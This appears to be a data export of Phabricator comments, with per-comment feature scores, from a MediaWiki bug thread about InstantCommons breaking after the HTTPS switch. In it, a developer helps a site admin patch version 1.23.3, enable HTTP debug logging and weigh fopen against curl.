511273,InstantCommons broken by switch to HTTPS,"To answer myself, we log them in `api-feature-usage` but I have no idea how to tell curl vs. fopen from that. Curl uses `MediaWiki/<version>` and fopen uses whatever is configured in `php.ini`.",,,1440026110,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,11.0,17.0,14.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8285714285714286,"To answer myself, we log them in CODE but I have no idea how to tell curl vs. fopen from that. Curl uses CODE and fopen uses whatever is configured in CODE."
511269,InstantCommons broken by switch to HTTPS,"Nothing apart from lack of reviewers, I think. I can review them in the next couple days, but that only makes sense if you are willing to wait for the next tarball so they can go out. It looks like fopen would be broken badly without these patches, but I have no idea if that is a big deal or not. Are there environments where curl is not available? (Shared hosting?) Do we maybe log user agents so we can tell whether PHP fopen is used frequently?",,,1440025694,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,5.0,0.0,8.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,11.0,2.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,6.0,9.0,6.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,13.0,2.0,3.0,0.0,0.0,9.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.693877551020408,0.7857142857142857,"Nothing apart from lack of reviewers, I think. I can review them in the next couple days, but that only makes sense if you are willing to wait for the next tarball so they can go out. It looks like fopen would be broken badly without these patches, but I have no idea if that is a big deal or not. Are there environments where curl is not available? (Shared hosting?) Do we maybe log user agents so we can tell whether PHP fopen is used frequently?"
511253,InstantCommons broken by switch to HTTPS,"Answering my own question: there's mw/core patches attached to both, last activity about a month ago, with comments indicating that they seem to test well.  Is there some unknown blocking them?",,,1440024565,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,4.075,0.925,"Answering my own question: there's mw/core patches attached to both, last activity about a month ago, with comments indicating that they seem to test well.  Is there some unknown blocking them?"
511250,InstantCommons broken by switch to HTTPS,"@Tgr Do we have any immediate plans to fix those anyways, or a sane plan to fix them that would apply to the bulk of users?",,,1440024392,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,14.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,3.75,0.8928571428571429,"SCREEN_NAME Do we have any immediate plans to fix those anyways, or a sane plan to fix them that would apply to the bulk of users?"
511233,InstantCommons broken by switch to HTTPS,">>! In T102566#1548300, @Tau wrote:
> Can this issue be fixed if I upgrade from 1.23.3 to 1.23.10?

Possibly. You might be using an old branch where certain logging changes were not backported yet.

@BBlack: there are two blocking tasks with unmerged patches, and they fix pretty serious issues with fopen. Do we know how many people use fopen vs. curl?",,,1440022971,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,2.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,2.0,6.0,11.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,6.0,0.0,0.0,0.0,4.222222222222222,0.8888888888888888,"QUOTE
QUOTE

Possibly. You might be using an old branch where certain logging changes were not backported yet.
SCREEN_NAME: there are two blocking tasks with unmerged patches, and they fix pretty serious issues with fopen. Do we know how many people use fopen vs. curl?"
510011,InstantCommons broken by switch to HTTPS,">>! In T102566#1541433, @Tgr wrote:
> I'll just upload the correct files then: {F1496921}
> 
> {F1496922}

I replaced old files with these files but still the log file is blank (tried changing user permissions and owners etc.).

Can this issue be fixed if I upgrade from 1.23.3 to 1.23.10?",,,1439889183,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,9.0,6.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.74468085106383,0.8085106382978723,"QUOTE
QUOTE
QUOTE
QUOTE

I replaced old files with these files but still the log file is blank (tried changing user permissions and owners etc.).

Can this issue be fixed if I upgrade from 1.23.3 to 1.23.10?"
509830,InstantCommons broken by switch to HTTPS,"So, I see new releases a week ago for 1.2[345] containing the InstantCommons fix.  Also, it's been about a month since the last time I complained about this issue.  I'm leaning towards merging https://gerrit.wikimedia.org/r/#/c/224557/ sometime this week, unless anyone else has objections.",,,1439846874,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,11.0,9.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,9.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,3.9622641509433962,0.7735849056603774,"So, I see new releases a week ago for 1.2[345] containing the InstantCommons fix.  Also, it's been about a month since the last time I complained about this issue.  I'm leaning towards merging URL sometime this week, unless anyone else has objections."
508700,InstantCommons broken by switch to HTTPS,"I'll just upload the correct files then: {F1496921}

{F1496922}",,,1439589445,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.875,"I'll just upload the correct files then: {F1496921}

{F1496922}"
506529,InstantCommons broken by switch to HTTPS,"I saved [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/HttpFunctions.php | HttpFunctions.php ]] and [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/filerepo/ForeignAPIRepo.php | ForeignAPIRepo.php ]] as text files to my computer, then copied content from these files and replaced content in server files.

Still have trouble with this patch:


```
/var/www/html/mediawiki$ curl -s 'https://github.com/wikimedia/mediawiki/commit/64446397925576210c50baedc77becb470df84e2.patch' | patch -p1
patching file includes/HttpFunctions.php
Hunk #2 FAILED at 75.
1 out of 2 hunks FAILED -- saving rejects to file includes/HttpFunctions.php.rej
patching file includes/filerepo/ForeignAPIRepo.php
Hunk #2 FAILED at 523.
1 out of 2 hunks FAILED -- saving rejects to file includes/filerepo/ForeignAPIRepo.php.rej
```",,,1439360588,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.7254901960784315,0.7058823529411765,"I saved [[ URL | HttpFunctions.php ]] and [[ URL | ForeignAPIRepo.php ]] as text files to my computer, then copied content from these files and replaced content in server files.

Still have trouble with this patch:


``CODE``"
505006,InstantCommons broken by switch to HTTPS,"If you followed the instructions in https://www.howtoforge.com/how-to-install-mediawiki-on-ubuntu-14.04 exactly (ie. you are using MW 1.23.3), you can just copy it from [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/HttpFunctions.php | HttpFunctions.php ]] and [[ https://raw.githubusercontent.com/wikimedia/mediawiki/f3d821de4e1f79b4c4b73e44b38d1c19830f5a9c/includes/filerepo/ForeignAPIRepo.php | ForeignAPIRepo.php ]].",,,1439175700,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,10.0,8.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.5,0.7,"If you followed the instructions in URL exactly (ie. you are using MW 1.23.3), you can just copy it from [[ URL | HttpFunctions.php ]] and [[ URL | ForeignAPIRepo.php ]]."
503909,InstantCommons broken by switch to HTTPS,"Which is the easiest way to restore the files `includes/HttpFunctions.php` and `includes/filerepo/ForeignAPIRepo.php` to their original version if I don't have backup of them?

",,,1438937136,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,15.0,4.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,3.730769230769231,0.8846153846153846,"Which is the easiest way to restore the files CODE and CODE to their original version if I don't have backup of them?

"
503502,InstantCommons broken by switch to HTTPS,"Apparently git.wikimedia.org patch pages are HTML, not plaintext. How fun.

So here's a command that works:
```curl -s 'https://github.com/wikimedia/mediawiki/commit/64446397925576210c50baedc77becb470df84e2.patch' | patch -p1```
You might have to restore the files `includes/HttpFunctions.php` and `includes/filerepo/ForeignAPIRepo.php` to their original version first.",,,1438889095,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.128205128205129,0.8461538461538461,"Apparently git.wikimedia.org patch pages are HTML, not plaintext. How fun.

So here's a command that works:
``CODE`CODEincludes/HttpFunctions.phpCODEincludes/filerepo/ForeignAPIRepo.php` to their original version first."
503130,InstantCommons broken by switch to HTTPS,"Mediawiki was installed by extracting tar file, following these instructions found here: [[ https://www.howtoforge.com/how-to-install-mediawiki-on-ubuntu-14.04]]",,,1438854454,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,4.823529411764706,0.9411764705882353,"Mediawiki was installed by extracting tar file, following these instructions found here: [[ URL"
502739,InstantCommons broken by switch to HTTPS,"It sounds like you already had that commit locally. How did you install MediaWiki, tarballs or a git checkout?",,,1438799464,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,14.0,5.0,5.0,5.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"It sounds like you already had that commit locally. How did you install MediaWiki, tarballs or a git checkout?"
502391,InstantCommons broken by switch to HTTPS,"{F459729}

Have some problems with running this patch...",,,1438766282,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,4,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.166666666666667,1.0,"{F459729}

Have some problems with running this patch..."
501374,InstantCommons broken by switch to HTTPS,The easiest way is probably to run `curl -s 'https://git.wikimedia.org/patch/mediawiki%2Fcore/64446397925576210c50baedc77becb470df84e2' | patch -p1` in the MediaWiki main directory (what you wrote would work too if you installed MediaWiki via git). `$wgDebugLogGroups` should go into `LocalSettings.php`.,,,1438630098,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,15.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.8529411764705882,The easiest way is probably to run CODE in the MediaWiki main directory (what you wrote would work too if you installed MediaWiki via git). CODE should go into CODE.
501319,InstantCommons broken by switch to HTTPS,"1) Do I run it via command line? `git fetch https://gerrit.wikimedia.org/r/mediawiki/core refs/changes/18/223518/4 && git cherry-pick FETCH_HEAD`
2) In which directory I should run it?
3) This `$wgDebugLogGroups['http'] = <some custom log file>` goes to LocalSettings.php?

",,,1438627138,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,12.0,9.0,0.0,9.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0625,0.71875,"1) Do I run it via command line? CODE
2) In which directory I should run it?
3) This CODE goes to LocalSettings.php?

"
500942,InstantCommons broken by switch to HTTPS,You could try to cherry-pick https://gerrit.wikimedia.org/r/#/c/223518/ and set `$wgDebugLogGroups['http'] = <some custom log file>`.,,,1438556763,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,You could try to cherry-pick URL and set CODE.
500839,InstantCommons broken by switch to HTTPS,"I tried several maintenance scripts (purgeList, checkImages, rebuildImages etc.) but none of them helped. It's getting quite annoying already...",,,1438510220,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,4,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,4.666666666666667,0.9259259259259259,"I tried several maintenance scripts (purgeList, checkImages, rebuildImages etc.) but none of them helped. It's getting quite annoying already..."
497140,InstantCommons broken by switch to HTTPS,I have tried purging but with no success. Can turning ImageMagick on/off affect this issue? I will try some maintenance scripts next week.,,,1437925229,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,3,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,11.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,I have tried purging but with no success. Can turning ImageMagick on/off affect this issue? I will try some maintenance scripts next week.
496905,InstantCommons broken by switch to HTTPS,"> BUT no such phrase as ForeignAPIRepo is included in it. How to get it?

Have you tried loading and [[https://meta.wikimedia.org/wiki/Help:URL#Purge|purging]] some pages with remote images, to force thumbnail creation?",,,1437827060,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,True,,,3,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,4.0476190476190474,0.9523809523809523,"QUOTE

Have you tried loading and [[URL some pages with remote images, to force thumbnail creation?"
496877,InstantCommons broken by switch to HTTPS,"Finnally I managed to get the logging enabled.

1) I did  `chmod -R a+rw /var/log/mediawiki` - still nothing
2) Created manually log file `/var/log/mediawiki/debug-mywiki.log` - still nothing
3) `sudo chown www-data:www-data /var/log/mediawiki` - manually created log file disappeared
4) `sudo chown www-data:www-data /var/log/mediawiki/debug-mywiki.log` - still the same situation
5) `sudo chown admin:admin /var/log/mediawiki` - manually created log file appeared again but instead of file size 0 bytes file size 50 982 bytes was shown thus the log was finally written.

BUT no such phrase as `ForeignAPIRepo` is included in it. How to get it?",,,1437817878,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,5.0,2.0,2.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,4.0,5.0,1.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.561224489795918,0.5816326530612245,"Finnally I managed to get the logging enabled.

1) I did  CODE - still nothing
2) Created manually log file CODE - still nothing
